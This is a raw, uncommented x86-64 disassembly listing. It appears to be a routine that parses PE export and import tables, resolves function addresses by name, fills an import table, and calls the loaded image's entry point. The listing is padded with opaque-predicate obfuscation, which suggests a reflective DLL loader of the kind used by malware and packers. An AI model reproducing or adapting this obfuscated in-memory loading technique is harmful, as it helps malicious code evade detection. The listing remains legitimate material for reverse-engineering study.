mov rax, qword [rbp]
mov r12d, dword [rax + 0x90]
add r12, r13
mov r15d, dword [r12 + 0xc]
test r15, r15
je 0x1800027b4
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
call fcn.180002840
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800022ef
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800027a6
add r15, r13
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002321
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800027a8
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rsi, r9
add rcx, r9
mov edi, dword [rsi]
add rdi, r9
mov rax, qword [rbp - 0x18]
movzx ebx, byte [rax]
movzx edx, byte [rdi]
test bl, bl
je 0x180002353
add rax, 1
add rdi, 1
cmp bl, dl
je 0x18000233d
cmp bl, dl
je 0x180002361
add rsi, 4
add rcx, 2
jmp 0x180002334
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
call r9
add rsp, 0x20
mov r14, rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180002565
test edx, edx
je 0x180002565
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
call fcn.180002840
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800023d4
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000279e
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002403
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800027a0
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rsi, r9
add rcx, r9
mov edi, dword [rsi]
add rdi, r9
mov rbx, qword [rbp - 0x18]
movzx eax, byte [rbx]
movzx edx, byte [rdi]
test al, al
je 0x180002435
add rbx, 1
add rdi, 1
cmp al, dl
je 0x18000241f
cmp al, dl
je 0x180002443
add rsi, 4
add rcx, 2
jmp 0x180002416
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
call r9
mov rcx, qword [rbp - 0x10]
call fcn.180002840
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002485
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800027a2
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800024b4
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800027a4
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rsi, r9
add rcx, r9
mov edi, dword [rsi]
add rdi, r9
mov rbx, qword [rbp - 0x18]
movzx eax, byte [rbx]
movzx edx, byte [rdi]
test al, al
je 0x1800024e6
add rbx, 1
add rdi, 1
cmp al, dl
je 0x1800024d0
cmp al, dl
je 0x1800024f4
add rsi, 4
add rcx, 2
jmp 0x1800024c7
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
call r9
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x18000252a
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023a2
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
call fcn.180002840
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800022f2
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800022f2
jmp 0x1800027a6
cmp ecx, 0xa
jl 0x180002572
test edx, edx
jne 0x1800027b2
mov rdx, r12
mov ebx, dword [r12]
mov edx, dword [r12 + 0x10]
add rbx, r13
mov qword [rbp - 0x28], rbx
add rdx, r13
mov qword [rbp - 0x20], rdx
mov rdx, qword [rbp - 0x28]
mov rdx, qword [rdx]
test rdx, rdx
je 0x18000277d
mov rax, qword [rbp - 8]
add rax, rdx
test rdx, rdx
movzx r15d, dx
cmovns r15, rax
jmp 0x1800025d2
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, r15
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x20]
mov qword [rcx], rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
call fcn.180002840
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002604
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800027aa
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002633
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800027ac
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov esi, dword [r9 + rcx + 0x24]
add rdx, r9
add rsi, r9
mov edi, dword [rdx]
add rdi, r9
mov rax, qword [rbp - 0x30]
movzx ebx, byte [rax]
movzx ecx, byte [rdi]
test bl, bl
je 0x180002665
add rax, 1
add rdi, 1
cmp bl, cl
je 0x18000264f
cmp bl, cl
je 0x180002673
add rdx, 4
add rsi, 2
jmp 0x180002646
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, r15
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x20]
mov qword [rcx], rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180002760
test edx, edx
je 0x180002760
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
call fcn.180002840
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800026ed
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800027ae
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000271c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800027b0
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov esi, dword [r9 + rcx + 0x24]
add rdx, r9
add rsi, r9
mov edi, dword [rdx]
add rdi, r9
mov rax, qword [rbp - 0x30]
movzx ebx, byte [rax]
movzx ecx, byte [rdi]
test bl, bl
je 0x18000274e
add rax, 1
add rdi, 1
cmp bl, cl
je 0x180002738
cmp bl, cl
je 0x1800025b0
add rdx, 4
add rsi, 2
jmp 0x18000272f
add qword [rbp - 0x20], 8
add qword [rbp - 0x28], 8
cmp ecx, 0xa
jl 0x18000258c
test edx, edx
je 0x18000258c
jmp 0x1800027b2
add r12, 0x14
cmp ecx, 0xa
jl 0x1800022af
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800022af
jmp 0x180002297
jmp 0x18000279e
jmp 0x1800027a0
jmp 0x1800027a2
jmp 0x1800027a4
jmp 0x1800027a6
jmp 0x1800027a8
jmp 0x1800027aa
jmp 0x1800027ac
jmp 0x1800027ae
jmp 0x1800027b0
jmp 0x1800027b2
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180002820
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002820
mov rsi, qword [rbp]
mov eax, dword [rsi + 0x28]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [rsi + 0x28]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180002820
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800027e6
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret